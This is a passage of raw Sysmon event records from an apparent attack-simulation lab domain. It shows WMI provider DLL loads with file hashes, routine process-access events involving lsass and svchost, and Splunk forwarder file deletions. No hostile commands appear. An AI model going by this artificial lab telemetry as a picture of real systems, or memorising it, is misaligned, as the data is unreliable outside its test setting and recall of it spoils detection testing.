indows\system32\wbem\wbemcore.dll+22711|C:\Windows\system32\wbem\wbemcore.dll+2d78c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000055647Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:25.549{7BD73061-7471-613B-9C0B-00000000F001}5660C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\wbem\wbemsvc.dll10.0.14393.4169 (rs1_release.210107-1130)WMIMicrosoft® Windows® Operating SystemMicrosoft Corporationwbemsvc.dllMD5=2BE97028B7B85762561F475E31989C2A,SHA256=75C9D8C6D41B4B7D70666A8107A08A748CEF6CB9E60AD0288B10CDE12E274AFF,IMPHASH=200200BEAF933FA4627BF83C67BA473EtrueMicrosoft WindowsValid 734700x800000000000000055646Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:25.533{7BD73061-7471-613B-9C0B-00000000F001}5660C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000055645Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:25.533{7BD73061-7471-613B-9C0B-00000000F001}5660C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000055644Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:25.533{7BD73061-7471-613B-9C0B-00000000F001}5660C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\wbem\wbemprox.dll10.0.14393.4169 (rs1_release.210107-1130)WMIMicrosoft® Windows® Operating SystemMicrosoft Corporationwbemprox.dllMD5=B7B56FAC395BEEDC20120FD0170A23A3,SHA256=7BDF579D7348D84F251A8411E40E14ADF9406F954914C1C4DE30E880DCF6CEB3,IMPHASH=96416B54C1F2E15EF294753DF1CB4131trueMicrosoft WindowsValid 734700x800000000000000055643Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:25.533{7BD73061-7471-613B-9C0B-00000000F001}5660C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\clbcatq.dll2001.12.10941.16384 (rs1_release.210107-1130)COM+ Configuration CatalogMicrosoft® Windows® Operating SystemMicrosoft CorporationCLBCATQ.DLLMD5=A82FB68F785E73141F5ABC91850595A8,SHA256=416DE0DA209CDCBE9B5D1A868CE972F8FE3399FF62E84EFD46D6FD49BDF7B7B2,IMPHASH=0BE8D1F061DD646F6D2B834CB7C9C900trueMicrosoft WindowsValid 10341000x800000000000000055642Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:25.533{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-7471-613B-9C0B-00000000F001}5660C:\Windows\system32\wbem\wmiprvse.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000055641Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:25.533{7BD73061-7471-613B-9C0B-00000000F001}5660C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000055640Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:25.533{7BD73061-7471-613B-9C0B-00000000F001}5660C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000055639Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:25.533{7BD73061-7471-613B-9C0B-00000000F001}5660C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000055638Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:25.533{7BD73061-7471-613B-9C0B-00000000F001}5660C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000055637Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:25.533{7BD73061-7471-613B-9C0B-00000000F001}5660C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000055636Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:25.533{7BD73061-7471-613B-9C0B-00000000F001}5660C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000055635Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:25.533{7BD73061-7471-613B-9C0B-00000000F001}5660C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000055634Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:25.518{7BD73061-7471-613B-9C0B-00000000F001}5660C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000055633Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:25.518{7BD73061-7471-613B-9C0B-00000000F001}5660C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000055632Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:25.518{7BD73061-7471-613B-9C0B-00000000F001}5660C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000055631Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:25.518{7BD73061-7471-613B-9C0B-00000000F001}5660C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000055630Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:25.518{7BD73061-7471-613B-9C0B-00000000F001}5660C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000055629Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:25.518{7BD73061-7471-613B-9C0B-00000000F001}5660C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\wbem\fastprox.dll10.0.14393.0 (rs1_release.160715-1616)WMI Custom MarshallerMicrosoft® Windows® Operating SystemMicrosoft Corporationfastprox.dllMD5=C2F7834269D565263C65757EDE37A66C,SHA256=17651A35255229CE95F065CA1BCCC4867B43DA879D72AFCC91FBA4768225C7D3,IMPHASH=481A52B415277FC8692C7D6D9EA3475CtrueMicrosoft WindowsValid 734700x800000000000000055628Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:25.518{7BD73061-7471-613B-9C0B-00000000F001}5660C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000055627Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:25.518{7BD73061-7471-613B-9C0B-00000000F001}5660C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\wbemcomn.dll10.0.14393.4530 (rs1_release.210705-0736)WMIMicrosoft® Windows® Operating SystemMicrosoft Corporationwbemcomn.dllMD5=91E2160941219FFEBE4093E6681BE4CF,SHA256=3B8AA86EAF2200F53A6EB57B08A34F1BA5E467B72E5002C3BCBF20AF40D98CD1,IMPHASH=69BCD1B17DF0CA323B0C1639784D745BtrueMicrosoft WindowsValid 734700x800000000000000055626Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:25.518{7BD73061-7471-613B-9C0B-00000000F001}5660C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\ncobjapi.dll10.0.14393.0 (rs1_release.160715-1616)-Microsoft® Windows® Operating SystemMicrosoft CorporationNCObjAPI.DLLMD5=EA51AB4DE69030FC62B5014175D27A88,SHA256=774A8136F6FC789952548DA2A72F2E53E32A33E91C48EA707C1D823058515DAB,IMPHASH=8BFED2C4A0A233671E2426106589658DtrueMicrosoft WindowsValid 734700x800000000000000055625Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:25.518{7BD73061-7471-613B-9C0B-00000000F001}5660C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000055624Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:25.518{7BD73061-7471-613B-9C0B-00000000F001}5660C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000055623Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:25.518{7BD73061-7471-613B-9C0B-00000000F001}5660C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000055622Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:25.518{7BD73061-7471-613B-9C0B-00000000F001}5660C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000055621Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:25.518{7BD73061-7471-613B-9C0B-00000000F001}5660C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\wbem\WmiPrvSE.exe10.0.14393.2155 (rs1_release_1.180305-1842)WMI Provider HostMicrosoft® Windows® Operating SystemMicrosoft CorporationWmiprvse.exeMD5=E1BCE838CD2695999AB34215BF94B501,SHA256=1D7B11C9DEDDAD4F77E5B7F01DDDDA04F3747E512E0AA23D39E4226854D26CA2,IMPHASH=20C3512CFF09FABFB994B8B9DBF73B4FtrueMicrosoft WindowsValid 10341000x800000000000000055620Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:25.518{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-7471-613B-9C0B-00000000F001}5660C:\Windows\system32\wbem\wmiprvse.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000055619Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:25.518{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-7471-613B-9C0B-00000000F001}5660C:\Windows\system32\wbem\wmiprvse.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|c:\windows\system32\rpcss.dll+36349|c:\windows\system32\rpcss.dll+3bb32|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055618Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:25.518{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f86b|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055617Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:25.518{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f71b|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055616Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:25.518{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+1a16d|C:\Windows\system32\lsasrv.dll+2704b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000055615Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:24.999{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3E75487CB5C6E564B150CB64BD85EF68,SHA256=69A9138F40BE801AC9004C13E623E7D1C3391A29CDCE169B387AF61B478C4A6F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017761Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:26.368{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B5EF9193F442952761BC610FB08D18CB,SHA256=36F4AF10ED5866501802B344A4F0AEE4EEF2BC95DDE467B30A07FF756DFD4ED4,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000055663Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:24.341{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63148-false10.0.1.12-8000- 23542300x800000000000000055662Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:26.549{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=ACA544A60C484153A7B2B409049946CC,SHA256=6A9A99FA4C7FC2936D1B90E357EDFF74459984A61A66898EA30A5BB86796F82F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055661Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:26.180{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AA61CC1B81D37A52B944FCF60FD84E80,SHA256=BA124D50AC8643C43B0A6C6DC51C6F56D26F2768E2160AE0971B064AE508E253,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017762Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:27.478{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9CC19C64E323C14DB9907F2F8287B2FD,SHA256=4E4863206CC0BC472D36AC294F0AF67D2DD21200A6F807422705B46EB72F542D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055664Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:27.198{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C2B9E3F80593DFBC45DC9FD979864E13,SHA256=719C40BFD2A8FBB1E81FEF8EC444DCBEBC1AAED2ED3F0D67E494C6C3D63064D8,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017763Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:28.493{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C3088BC33F646ABFE44A669FEEA8ABCE,SHA256=8E7564B415E3725341FB683954DBBECEBC9EF3C1B7809D841D8F39EC58D08EF5,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055665Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:28.201{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E32B05DB688531CF630864B81293367D,SHA256=96BF6D6DB798DFB88B12B92343FFE256745916A2C44C02AE4A5B37DCC12DF19F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017764Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:29.556{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A421FB43486459DC39E202C057DA63CF,SHA256=400506BBC0BB23C05EF44450A7E6CC793FCA955B8B77339FDE0B828CE63EAE64,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055666Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:29.282{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=603452C2B905D6B2AA261016B252797F,SHA256=CEAD3F2BD4BDD57ED06E8BDA74316E8C4A20AD7E083A5608C994468E31AED7F5,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 